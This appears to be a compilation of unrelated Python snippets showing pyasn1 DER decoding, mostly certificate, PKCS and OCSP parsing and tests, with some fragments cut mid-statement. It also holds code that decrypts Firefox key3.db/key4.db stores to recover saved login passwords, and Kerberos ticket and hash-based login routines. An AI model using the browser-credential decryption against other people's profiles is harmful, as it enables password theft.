def extractModAndExp(self,certDER=None): if not certDER: self.extractCertificate() DERdata = self.serverCertificate else: DERdata = certDER assert (self.serverCertificate or certDER), "No server certificate, cannot extract pubkey" rv = decoder.decode(DERdata, asn1Spec=univ.Sequence()) bitstring = rv[0].getComponentByPosition(0).getComponentByPosition(6).getComponentByPosition(1) #bitstring is a list of ints, like [01110001010101000...] #convert it into into a string '01110001010101000...' stringOfBits = '' for bit in bitstring: bit_as_str = str(bit) stringOfBits += bit_as_str #treat every 8 chars as an int and pack the ints into a bytearray ba = bytearray() for i in range(0, len(stringOfBits)/8): onebyte = stringOfBits[i*8 : (i+1)*8] oneint = int(onebyte, base=2) ba.append(oneint) #decoding the nested sequence rv = decoder.decode(str(ba), asn1Spec=univ.Sequence()) exponent = rv[0].getComponentByPosition(1) modulus = rv[0].getComponentByPosition(0) self.serverModulus = int(modulus) self.serverExponent = int(exponent) n = bi2ba(self.serverModulus) e = bi2ba(self.serverExponent) modulus_len_int = len(n) self.serverModLength = bi2ba(modulus_len_int) if len(self.serverModLength) == 1: self.serverModLength.insert(0,0) #zero-pad to 2 bytes return (self.serverModulus,self.serverExponent)
def testDerCodec(self): substrate = pem.readBase64fromText(self.pem_text) asn1Object, rest = der_decoder.decode(substrate, asn1Spec=self.asn1Spec) assert not rest assert asn1Object.prettyPrint() assert der_encoder.encode(asn1Object) == substrate for extn in asn1Object['tbsCertificate']['extensions']: if extn['extnID'] == rfc3779.id_pe_ipAddrBlocks: s = extn['extnValue'] addr_blocks, rest = der_decoder.decode(s, rfc3779.IPAddrBlocks()) assert not rest assert addr_blocks.prettyPrint() assert der_encoder.encode(addr_blocks) == s if extn['extnID'] == rfc3779.id_pe_autonomousSysIds: s = extn['extnValue'] as_ids, rest = der_decoder.decode(s, rfc3779.ASIdentifiers()) assert not rest assert as_ids.prettyPrint() assert der_encoder.encode(as_ids) == s
def _decrypt_rep(data, key, spec, enc_spec, msg_type): rep = decode(data, asn1Spec=spec)[0] rep_enc = str(rep['enc-part']['cipher']) rep_enc = decrypt(key[0], key[1], msg_type, rep_enc) rep_enc = decode(rep_enc, asn1Spec=enc_spec)[0] return rep, rep_enc
def ParsePkcs8(pkcs8): seq = ParseASN1Sequence(decoder.decode(Base64WSDecode(pkcs8))[0]) if len(seq) != 3: # need three fields in PrivateKeyInfo raise errors.KeyczarError("Illegal PKCS8 String.") version = int(seq[0]) if version != 0: raise errors.KeyczarError("Unrecognized PKCS8 Version") [oid, alg_params] = ParseASN1Sequence(seq[1]) key = decoder.decode(seq[2])[0] # Component 2 is an OCTET STRING which is further decoded params = {} if oid == RSA_OID: key = ParseASN1Sequence(key) version = int(key[0]) if version != 0: raise errors.KeyczarError("Unrecognized RSA Private Key Version") for i in range(len(RSA_PARAMS)): params[RSA_PARAMS[i]] = long(key[i+1]) elif oid == DSA_OID: alg_params = ParseASN1Sequence(alg_params) for i in range(len(DSA_PARAMS)): params[DSA_PARAMS[i]] = long(alg_params[i]) params['x'] = long(key) else: raise errors.KeyczarError("Unrecognized AlgorithmIdentifier: not RSA/DSA") return params
def asn1_to_ssh(self, pubkey): lines = pubkey.split("\n") lines = [x for x in lines if not x.startswith("----")] base64_encoded = "".join(lines) try: # TODO remove pyasn1 dependency from pyasn1.codec.der import decoder as der_decoder der_encoded = base64.b64decode(base64_encoded) der_encoded = der_decoder.decode(der_encoded)[0][1] key = der_decoder.decode(self.bits_to_bytes(der_encoded))[0] n = key[0] e = key[1] keydata = bytearray() keydata.extend(struct.pack(">I", len("ssh-rsa"))) keydata.extend(b"ssh-rsa") keydata.extend(struct.pack(">I", len(self.num_to_bytes(e)))) keydata.extend(self.num_to_bytes(e)) keydata.extend(struct.pack(">I", len(self.num_to_bytes(n)) + 1)) keydata.extend(b"\0") keydata.extend(self.num_to_bytes(n)) keydata_base64 = base64.b64encode(bytebuffer(keydata)) return ustr(b"ssh-rsa " + keydata_base64 + b"\n", encoding="utf-8") except ImportError as e: raise CryptError("Failed to load pyasn1.codec.der")
def _decode_alt_names(self, alt_names): """Load SubjectAltName from a ASN.1 GeneralNames value. :Values: - `alt_names`: the SubjectAltNama extension value :Types: - `alt_name`: `GeneralNames` """ for alt_name in alt_names: tname = alt_name.getName() comp = alt_name.getComponent() if tname == "dNSName": key = "DNS" value = _decode_asn1_string(comp) elif tname == "uniformResourceIdentifier": key = "URI" value = _decode_asn1_string(comp) elif tname == "otherName": oid = comp.getComponentByName("type-id") value = comp.getComponentByName("value") if oid == XMPPADDR_OID: key = "XmppAddr" value = der_decoder.decode(value, asn1Spec=UTF8String())[0] value = _decode_asn1_string(value) elif oid == SRVNAME_OID: key = "SRVName" value = der_decoder.decode(value, asn1Spec=IA5String())[0] value = _decode_asn1_string(value) else: logger.debug("Unknown other name: {0}".format(oid)) continue else: logger.debug("Unsupported general name: {0}".format(tname)) continue self.alt_names[key].append(value)
def test_https_cert_invalid(self): """Verify vikidia SSL certificate is invalid.""" try: from pyasn1_modules import pem, rfc2459 from pyasn1.codec.der import decoder except ImportError: raise unittest.SkipTest('pyasn1 and pyasn1_modules not available.') import ssl import io cert = ssl.get_server_certificate(addr=('en.vikidia.org', 443)) s = io.StringIO(unicode(cert)) substrate = pem.readPemFromFile(s) cert = decoder.decode(substrate, asn1Spec=rfc2459.Certificate())[0] tbs_cert = cert.getComponentByName('tbsCertificate') issuer = tbs_cert.getComponentByName('issuer') organisation = None for rdn in issuer.getComponent(): for attr in rdn: attr_type = attr.getComponentByName('type') if attr_type == rfc2459.id_at_organizationName: value, _ = decoder.decode(attr.getComponentByName('value'), asn1Spec=rfc2459.X520name()) organisation = str(value.getComponent()) break self.assertEqual(organisation, 'TuxFamily.org non-profit organization')
def parse(cls, data): (req, err) = decoder.decode(data, asn1Spec=asn1.ProxyMessage()) if err: raise ParsingError("Invalid request.") request = req.getComponentByName('message').asOctets() realm = req.getComponentByName('realm').asOctets() try: # Python 3.x realm = str(realm, "UTF8") except TypeError: # Python 2.x realm = str(realm) # Check the length of the whole request message. (length, ) = struct.unpack("!I", request[0:4]) if length + 4 != len(request): raise ParsingError("Invalid request length.") for subcls in cls.__subclasses__(): try: (req, err) = decoder.decode(request[subcls.OFFSET:], asn1Spec=subcls.TYPE()) return subcls(realm, request, err) except error.PyAsn1Error: pass raise ParsingError("Invalid request.")
def __init__(self, realm, request, err): # Check the length count in the password change request, assuming it # actually is a password change request. It should be the length of # the rest of the request, including itself. (length, ) = struct.unpack("!H", request[4:6]) if length != len(request) - 4: raise ParsingError("Parsing the KPASSWD request length failed.") # Check the version number in the password change request, assuming it # actually is a password change request. Officially we support version # 1, but 0xff80 is used for set-password, so try to accept that, too. (version, ) = struct.unpack("!H", request[6:8]) if version != 0x0001 and version != 0xff80: raise ParsingError("The KPASSWD request is an incorrect version.") # Read the length of the AP-REQ part of the change request. There # should be at least that may bytes following this length, since the # rest of the request is the KRB-PRIV message. (length, ) = struct.unpack("!H", request[8:10]) if length > len(request) - 10: raise ParsingError("The KPASSWD request appears to be truncated.") # See if the tag looks like an AP request, which would look like the # start of a password change request. The rest of it should be a # KRB-PRIV message. (apreq, err) = decoder.decode(request[10:length + 10], asn1Spec=asn1.APREQ()) (krbpriv, err) = decoder.decode(request[length + 10:], asn1Spec=asn1.KRBPriv()) super(KPASSWDProxyRequest, self).__init__(realm, request, err) self.version = version
def fromTGS(self, tgs, oldSessionKey, sessionKey): self.headers = [] header = Header() header['tag'] = 1 header['taglen'] = 8 header['tagdata'] = '\xff\xff\xff\xff\x00\x00\x00\x00' self.headers.append(header) decodedTGS = decoder.decode(tgs, asn1Spec = TGS_REP())[0] tmpPrincipal = types.Principal() tmpPrincipal.from_asn1(decodedTGS, 'crealm', 'cname') self.principal = Principal() self.principal.fromPrincipal(tmpPrincipal) # Now let's add the credential cipherText = decodedTGS['enc-part']['cipher'] cipher = crypto._enctype_table[decodedTGS['enc-part']['etype']] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(oldSessionKey, 8, str(cipherText)) encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0] credential = Credential() server = types.Principal() server.from_asn1(encTGSRepPart, 'srealm', 'sname') tmpServer = Principal() tmpServer.fromPrincipal(server) credential['client'] = self.principal credential['server'] = tmpServer credential['is_skey'] = 0 credential['key'] = KeyBlock() credential['key']['keytype'] = int(encTGSRepPart['key']['keytype']) credential['key']['keyvalue'] = str(encTGSRepPart['key']['keyvalue']) credential['key']['keylen'] = len(credential['key']['keyvalue']) credential['time'] = Times() credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['authtime'])) credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['starttime'])) credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['endtime'])) credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['renew-till'])) flags = self.reverseFlags(encTGSRepPart['flags']) credential['tktflags'] = flags credential['num_address'] = 0 credential.ticket = CountedOctetString() credential.ticket['data'] = encoder.encode(decodedTGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) credential.ticket['length'] = len(credential.ticket['data']) credential.secondTicket = CountedOctetString() credential.secondTicket['data'] = '' credential.secondTicket['length'] = 0 self.credentials.append(credential)
def testDerCodec(self): substrate = pem.readBase64fromText(self.pem_text_unordered) asn1Object, rest = der_decoder.decode(substrate, asn1Spec=self.asn1Spec) assert not rest assert asn1Object.prettyPrint() assert der_encoder.encode(asn1Object) == substrate contentType = asn1Object['contentType'] substrate = asn1Object['content'] contentInfoMap = { (1, 2, 840, 113549, 1, 7, 1): rfc2315.Data(), (1, 2, 840, 113549, 1, 7, 2): rfc2315.SignedData(), (1, 2, 840, 113549, 1, 7, 3): rfc2315.EnvelopedData(), (1, 2, 840, 113549, 1, 7, 4): rfc2315.SignedAndEnvelopedData(), (1, 2, 840, 113549, 1, 7, 5): rfc2315.DigestedData(), (1, 2, 840, 113549, 1, 7, 6): rfc2315.EncryptedData() } innerAsn1Object, rest = der_decoder.decode( substrate, asn1Spec=contentInfoMap[contentType] ) asn1Object['content'] = der_encoder.encode(innerAsn1Object) substrate = pem.readBase64fromText(self.pem_text_reordered) assert not rest assert asn1Object.prettyPrint() assert der_encoder.encode(asn1Object) == substrate
def _get_certs_from_pkcs7_substrate(substrate): """Extracts DER-encoded X509 certificates from a PKCS7 ASN1 DER substrate :param substrate: The substrate to be processed :returns: A list of DER-encoded X509 certificates """ try: contentInfo, _ = der_decoder.decode(substrate, asn1Spec=rfc2315.ContentInfo()) contentType = contentInfo.getComponentByName('contentType') except Exception: LOG.exception('Unreadable Certificate.') raise exceptions.UnreadableCert if contentType != rfc2315.signedData: LOG.exception('Unreadable Certificate.') raise exceptions.UnreadableCert try: content, _ = der_decoder.decode( contentInfo.getComponentByName('content'), asn1Spec=rfc2315.SignedData()) except Exception: LOG.exception('Unreadable Certificate.') raise exceptions.UnreadableCert for cert in content.getComponentByName('certificates'): yield der_encoder.encode(cert)
def get_subject_alt_names(x509_der): alt_names_list = [] (x509, spec) = decoder.decode(x509_der, asn1Spec=rfc2459.Certificate()) tbs_crt = x509.getComponentByName("tbsCertificate") exts = tbs_crt.getComponentByName("extensions") for ext in exts: ext_id = ext.getComponentByName("extnID") critical = ext.getComponentByName("critical") ext_val = ext.getComponentByName("extnValue") if ext_id == rfc2459.id_ce_subjectAltName: (octets, spec) = decoder.decode(ext_val, asn1Spec=OctetString()) (general_names, spec) = decoder.decode( octets, asn1Spec=rfc2459.GeneralNames()) #Where only looking for dNSNames or the cn # fields of a directoryName for general_name in general_names: name_type = general_name.getName() if name_type == "dNSName": octets = general_name.getComponent().asOctets() dns_name = bytes_to_str(octets) alt_names_list.append((name_type, dns_name)) if name_type == "directoryName": dir_name = general_name.getComponent() for cn in get_cn_from_name(dir_name): alt_names_list.append(("cn", cn)) return alt_names_list
def extractSecretKey(self, globalSalt, masterPassword, entrySalt): (globalSalt, masterPassword, entrySalt) = self.is_masterpassword_correct(masterPassword) if unhexlify('f8000000000000000000000000000001') not in self.key3: return None privKeyEntry = self.key3[ unhexlify('f8000000000000000000000000000001') ] saltLen = ord( privKeyEntry[1] ) nameLen = ord( privKeyEntry[2] ) privKeyEntryASN1 = decoder.decode( privKeyEntry[3+saltLen+nameLen:] ) data = privKeyEntry[3+saltLen+nameLen:] self.printASN1(data, len(data), 0) #see https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt entrySalt = privKeyEntryASN1[0][0][1][0].asOctets() privKeyData = privKeyEntryASN1[0][1].asOctets() privKey = self.decrypt3DES( globalSalt, masterPassword, entrySalt, privKeyData ) self.printASN1(privKey, len(privKey), 0) privKeyASN1 = decoder.decode( privKey ) prKey= privKeyASN1[0][2].asOctets() self.printASN1(prKey, len(prKey), 0) prKeyASN1 = decoder.decode( prKey ) id = prKeyASN1[0][1] key = long_to_bytes( prKeyASN1[0][3] ) print_debug('DEBUG', 'key: %s' % repr(key)) return key
def print_cert(cert_file): f = open(cert_file, 'r') buf = f.read() buffer_base = base64.b64encode(buf) f.close() f = open(cert_file + '.pem', 'w') f.write('-----BEGIN PKCS7-----\n') f.write(buffer_base) f.write('\n-----END PKCS7-----\n') f.close() f = open(cert_file + '.pem', 'r') _, substrate = pem.readPemBlocksFromFile(f, ('-----BEGIN PKCS7-----', '-----END PKCS7-----')) f.close() os.remove(cert_file + '.pem') assert substrate, 'bad PKCS7 data on input' contentInfo, rest = decoder.decode(substrate, asn1Spec=rfc2315.ContentInfo()) if rest: substrate = substrate[:-len(rest)] buf = contentInfo.getComponentByName('content') contentType = contentInfo.getComponentByName('contentType') content, _ = decoder.decode( contentInfo.getComponentByName('content'), asn1Spec=contentInfoMap[contentType] ) print content.prettyPrint()
def getSignatureFromApk(apkPath): signature = '' try: cert = None with zipfile.ZipFile(apkPath, 'r') as apk: certs = [n for n in apk.namelist() if APKSigner.cert_path_regex.match(n)] if len(certs) < 1: logging.error(u"[getCertMd5FileFromApk] Found no signing certificates on %s" % apkPath) return '' if len(certs) > 1: logging.error(u"[getCertMd5FileFromApk] Found multiple signing certificates on %s" % apkPath) return '' cert = apk.read(certs[0]) content = decoder.decode(cert, asn1Spec=rfc2315.ContentInfo())[0] if content.getComponentByName('contentType') != rfc2315.signedData: logging.error(u"[genCertMd5FileFromRsa] 不支持的签名格式") return signature content = decoder.decode(content.getComponentByName('content'), asn1Spec=rfc2315.SignedData())[0] try: certificates = content.getComponentByName('certificates') except Exception, e: logging.error(u"[genCertMd5FileFromRsa] Certificates 没有找到,原因:%s", e) return signature cert_encoded = encoder.encode(certificates)[4:] signature = hashlib.md5(cert_encoded).hexdigest()
def get_cert_from_adobe(adobe_cert): f = open(adobe_cert, 'r') buf = f.read() buffer_base = base64.b64encode(buf) f.close() f = open(adobe_cert + '.pem', 'w') f.write('-----BEGIN PKCS7-----\n') f.write(buffer_base) f.write('\n-----END PKCS7-----\n') f.close() f = open(adobe_cert + '.pem', 'r') _, substrate = pem.readPemBlocksFromFile(f, ('-----BEGIN PKCS7-----', '-----END PKCS7-----') ) f.close() os.remove(adobe_cert + '.pem') assert substrate, 'bad PKCS7 data on input' contentInfo, rest = decoder.decode(substrate, asn1Spec=rfc2315.ContentInfo()) if rest: substrate = substrate[:-len(rest)] assert encoder.encode(contentInfo, defMode=False) == substrate or \ encoder.encode(contentInfo, defMode=True) == substrate, \ 're-encode fails' contentType = contentInfo.getComponentByName('contentType') content, _ = decoder.decode( contentInfo.getComponentByName('content'), asn1Spec=contentInfoMap[contentType] ) return content.getComponentByName('certificates').getComponentByPosition(0)
def parse(data): """Return elements from parsed X509 certificate data. Args: data: str of X509 certificate file contents Returns: {str: value} of notable certificate elements s.t.: ['modulus'] = int of included RSA public key ['publicExponent'] = int of included RSA public key ['subject'] = str of compiled subject in rfc2253 format ['body'] = str of X509 DER binary in base64 ['type'] = str of "X509 PRIVATE" """ # initialize empty return dictionary dict = {} lines = [] for s in data.splitlines(): if '-----' == s[:5] and "BEGIN" in s: if not "CERTIFICATE" in s: raise NotImplementedError(\ "Only PEM Certificates are supported. Header: %s", s) else: # include this b64 data for decoding lines.append(s.strip()) body = ''.join(lines) raw_data = body.decode("base64") cert = decoder.decode(raw_data, asn1Spec=Certificate())[0] # dump parsed PEM data to text text = cert.prettyPrint() # GET RSA KEY # =========== if not (RSA_ID in text): raise NotImplementedError("Only RSA X509 certificates are supported.") # rip out RSA public key binary key_bits = RX_PUBLIC_KEY.search(text).group(1) key_binhex = hex(int(key_bits, 2))[2:-1] key_bin = key_binhex.decode("hex") # reparse RSA Public Key PEM binary key = decoder.decode(key_bin, asn1Spec=RSAPublicKey())[0] # add RSA key elements to return dictionary dict.update(key.dict()) # GET CERTIFICATE SUBJECT # ======================= subject_text = RX_SUBJECT.search(text).group(0) attrs = RX_SUBJECT_ATTR.findall(subject_text) dict['subject'] = rfc2253_name(attrs) # add base64 encoding and type to return dictionary dict['body'] = body dict['type'] = "X509 CERTIFICATE" return dict
def post(self, request, *args, **kwargs): data = request.body print(['{0:x}'.format(ord(x)) for x in data]) print( der_decoder.decode(data)) ocsp_request = der_decoder.decode(data, asn1Spec=rfc2560.OCSPRequest) logger.debug(ocsp_request) response = HttpResponse() return response
def check_ca(self): for extension in self.extensions: oid = extension.getComponentByName('extnID') if oid != id_ce_basicConstraints: continue value = decoder.decode(extension.getComponentByName('extnValue'), asn1Spec=OctetString())[0] constraints = decoder.decode(value, asn1Spec=BasicConstraints())[0] return bool(constraints[0])
def get_ext_by_oid(cert, oid): from pyasn1.codec.der import decoder from pyasn1_modules import rfc2459 cert, _ = decoder.decode(cert.as_der(), asn1Spec=rfc2459.Certificate()) for ext in cert['tbsCertificate']['extensions']: if ext['extnID'].prettyPrint() == oid: return decoder.decode(ext['extnValue'])[0].asOctets() return None
def getKey(): conn = sqlite3.connect(options.directory+'key4.db') #firefox 58.0.2 / NSS 3.35 with key4.db in SQLite c = conn.cursor() try: #first check password c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';") row = c.next() globalSalt = row[0] #item1 item2 = row[1] printASN1(item2, len(item2), 0) """ SEQUENCE { SEQUENCE { OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 SEQUENCE { OCTETSTRING entry_salt_for_passwd_check INTEGER 01 } } OCTETSTRING encrypted_password_check } """ decodedItem2 = decoder.decode( item2 ) entrySalt = decodedItem2[0][0][1][0].asOctets() cipherT = decodedItem2[0][1].asOctets() clearText = decrypt3DES( globalSalt, options.masterPassword, entrySalt, cipherT ) #usual Mozilla PBE print 'password check?', clearText=='password-check\x02\x02' if clearText=='password-check\x02\x02': #decrypt 3des key to decrypt "logins.json" content c.execute("SELECT a11,a102 FROM nssPrivate;") for row in c: if row[0] != None: break a11 = row[0] #CKA_VALUE a102 = row[1] #f8000000000000000000000000000001, CKA_ID printASN1( a11, len(a11), 0) """ SEQUENCE { SEQUENCE { OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 SEQUENCE { OCTETSTRING entry_salt_for_3des_key INTEGER 01 } } OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding) } """ decodedA11 = decoder.decode( a11 ) entrySalt = decodedA11[0][0][1][0].asOctets() cipherT = decodedA11[0][1].asOctets() key = decrypt3DES( globalSalt, options.masterPassword, entrySalt, cipherT ) print '3deskey', hexlify(key) except: keyData = readBsddb(options.directory+'key3.db') key = extractSecretKey(options.masterPassword, keyData) return key[:24]
def testIndefMode(self): try: decoder.decode( ints2octs((35, 128, 3, 2, 0, 169, 3, 2, 1, 138, 0, 0)) ) except PyAsn1Error: pass else: assert 0, 'indefinite length encoding tolerated'
def testChunkedMode(self): try: decoder.decode( ints2octs((36, 23, 4, 2, 81, 117, 4, 2, 105, 99, 4, 2, 107, 32, 4, 2, 98, 114, 4, 2, 111, 119, 4, 1, 110)) ) except PyAsn1Error: pass else: assert 0, 'chunked encoding tolerated'
def get_san_general_names(cert): """ Return SAN general names from a python-cryptography certificate object. If the SAN extension is not present, return an empty sequence. Because python-cryptography does not yet provide a way to handle unrecognised critical extensions (which may occur), we must parse the certificate and extract the General Names. For uniformity with other code, we manually construct values of python-crytography GeneralName subtypes. python-cryptography does not yet provide types for ediPartyName or x400Address, so we drop these name types. otherNames are NOT instantiated to more specific types where the type is known. Use ``process_othernames`` to do that. When python-cryptography can handle certs with unrecognised critical extensions and implements ediPartyName and x400Address, this function (and helpers) will be redundant and should go away. """ tbs = decoder.decode( cert.tbs_certificate_bytes, asn1Spec=rfc2459.TBSCertificate() )[0] OID_SAN = univ.ObjectIdentifier('2.5.29.17') gns = [] for ext in tbs['extensions']: if ext['extnID'] == OID_SAN: der = decoder.decode( ext['extnValue'], asn1Spec=univ.OctetString())[0] gns = decoder.decode(der, asn1Spec=rfc2459.SubjectAltName())[0] break GENERAL_NAME_CONSTRUCTORS = { 'rfc822Name': lambda x: cryptography.x509.RFC822Name(unicode(x)), 'dNSName': lambda x: cryptography.x509.DNSName(unicode(x)), 'directoryName': _pyasn1_to_cryptography_directoryname, 'registeredID': _pyasn1_to_cryptography_registeredid, 'iPAddress': _pyasn1_to_cryptography_ipaddress, 'uniformResourceIdentifier': lambda x: cryptography.x509.UniformResourceIdentifier(unicode(x)), 'otherName': _pyasn1_to_cryptography_othername, } result = [] for gn in gns: gn_type = gn.getName() if gn_type in GENERAL_NAME_CONSTRUCTORS: result.append( GENERAL_NAME_CONSTRUCTORS[gn_type](gn.getComponent())) return result
def testIndefMode(self): try: decoder.decode( ints2octs((36, 128, 4, 15, 81, 117, 105, 99, 107, 32, 98, 114, 111, 119, 110, 32, 102, 111, 120, 0, 0)) ) except PyAsn1Error: pass else: assert 0, 'indefinite length encoding tolerated'
def getSigningTimeRFC3161(data): content = parsePKCS7SignedData(data) contentInfo = content['contentInfo'] contentType = contentInfo['contentType'] assert (contentType == univ.ObjectIdentifier('1.2.840.113549.1.9.16.1.4')) ostr, ignore = decode(contentInfo['content'], asn1Spec=univ.OctetString()) tSTInfo, ignore = decode(ostr, asn1Spec=TSTInfo()) return parseGeneralizedTime(tSTInfo['genTime'])
def extractSecretKeyFromPem(filename): #see: http://www.cryptopp.com/wiki/Keys_and_Formats#RSA_PrivateKey content = open(filename, 'r').read() prefix = "\n-----BEGIN PRIVATE KEY-----\n" suffix = "\n-----END PRIVATE KEY-----\n" start = content.index(prefix) + len(prefix) end = content.index(suffix) key = content[start:end] key = base64.b64decode(key) key = decoder.decode(key) key = key[0] version = key[0] if not version == 0: raise ValueError("unknown key format version: " + version + \ ", try openssl pkey -in " + filename + " -text or something") oid = str(key[1][0]) if not oid in ["1.2.840.113549.1.1.1", "1.2.840.113549.1.1.4"]: raise ValueError("unknown key type. Object Identifier: " + oid) key = key[2] key = decoder.decode(key) key = key[0] old_version = version version = key[0] if not version == old_version: raise ValueError("different versions detected: " + \ str(old_version) + " and " + str(version) + ". This is strange.") modulus = int(key[1]) public_exponent = int(key[2]) private_exponent = int(key[3]) prime1 = int(key[4]) prime2 = int(key[5]) exponent1 = int(key[6]) exponent2 = int(key[7]) coefficient = int(key[8]) key = { 'modulus': modulus, 'public_exponent': public_exponent, 'private_exponent': private_exponent, 'prime1': prime1, 'prime2': prime2, 'exponent1': exponent1, 'exponent2': exponent2, 'coefficient': coefficient } return key
def getSigningTimeAuthenticode(data): signerInfo, ignore = decode(data, asn1Spec=rfc2315.SignerInfo()) attrs = signerInfo['authenticatedAttributes'] if not attrs: return for attr in attrs: if attr['type'] == univ.ObjectIdentifier('1.2.840.113549.1.9.5'): signingTime, ignore = decode(attr['values'][0], asn1Spec=TimeChoice()) return parseTimeChoice(signingTime)
def test_cert_from_instance_ssp(): xml_response = open(SIMPLE_SAML_PHP_RESPONSE).read() response = samlp.response_from_string(xml_response) assertion = response.assertion[0] certs = sigver.cert_from_instance(assertion) assert len(certs) == 1 assert certs[0] == CERT_SSP der = base64.b64decode(certs[0]) print str(decoder.decode(der)).replace('.',"\n.") assert decoder.decode(der)
response0.getComponentByName('certStatus').getName(), response0.getComponentByName('thisUpdate')) if len(sys.argv) != 2: print("""Usage: $ cat CACertificate.pem userCertificate.pem | %s <ocsp-responder-url>""" % sys.argv[0]) sys.exit(-1) else: ocspUrl = sys.argv[1] # Parse CA and user certificates issuerCert, _ = decoder.decode(pem.readPemBlocksFromFile( sys.stdin, ('-----BEGIN CERTIFICATE-----', '-----END CERTIFICATE-----'))[1], asn1Spec=rfc2459.Certificate()) # noinspection PyRedeclaration userCert, _ = decoder.decode(pem.readPemBlocksFromFile( sys.stdin, ('-----BEGIN CERTIFICATE-----', '-----END CERTIFICATE-----'))[1], asn1Spec=rfc2459.Certificate()) # Build OCSP request ocspReq = mkOcspRequest(issuerCert, userCert) # Use HTTP POST to get response (see Appendix A of RFC 2560) # In case you need proxies, set the http_proxy env variable httpReq = urllib2.Request(ocspUrl, encoder.encode(ocspReq),
#!/usr/bin/env python # # This file is part of pyasn1-modules software. # # Copyright (c) 2005-2017, Ilya Etingof <*****@*****.**> # License: http://pyasn1.sf.net/license.html # # Read ASN.1/PEM OCSP response on stdin, parse into # plain text, then build substrate from it # from pyasn1.codec.der import decoder, encoder from pyasn1_modules import rfc2560, pem import sys if len(sys.argv) != 1: print("""Usage: $ cat ocsp-response.pem | %s""" % sys.argv[0]) sys.exit(-1) ocspReq = rfc2560.OCSPResponse() substrate = pem.readBase64FromFile(sys.stdin) if not substrate: sys.exit(0) cr, rest = decoder.decode(substrate, asn1Spec=ocspReq) print(cr.prettyPrint()) assert encoder.encode(cr) == substrate, 'OCSP request recode fails'
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises a LDAPSessionError if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0%s' % lmhash if len(nthash) % 2: nthash = '0%s' % nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket from pyasn1.codec.der import decoder, encoder import datetime if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'] if domain == '': domain = ccache.principal.realm['data'] LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS() LOG.debug('Using TGS from cache') # First of all, we need to get a TGT for the user userName = Principal( user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal( 'ldap/%s' % self._dstHost, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = 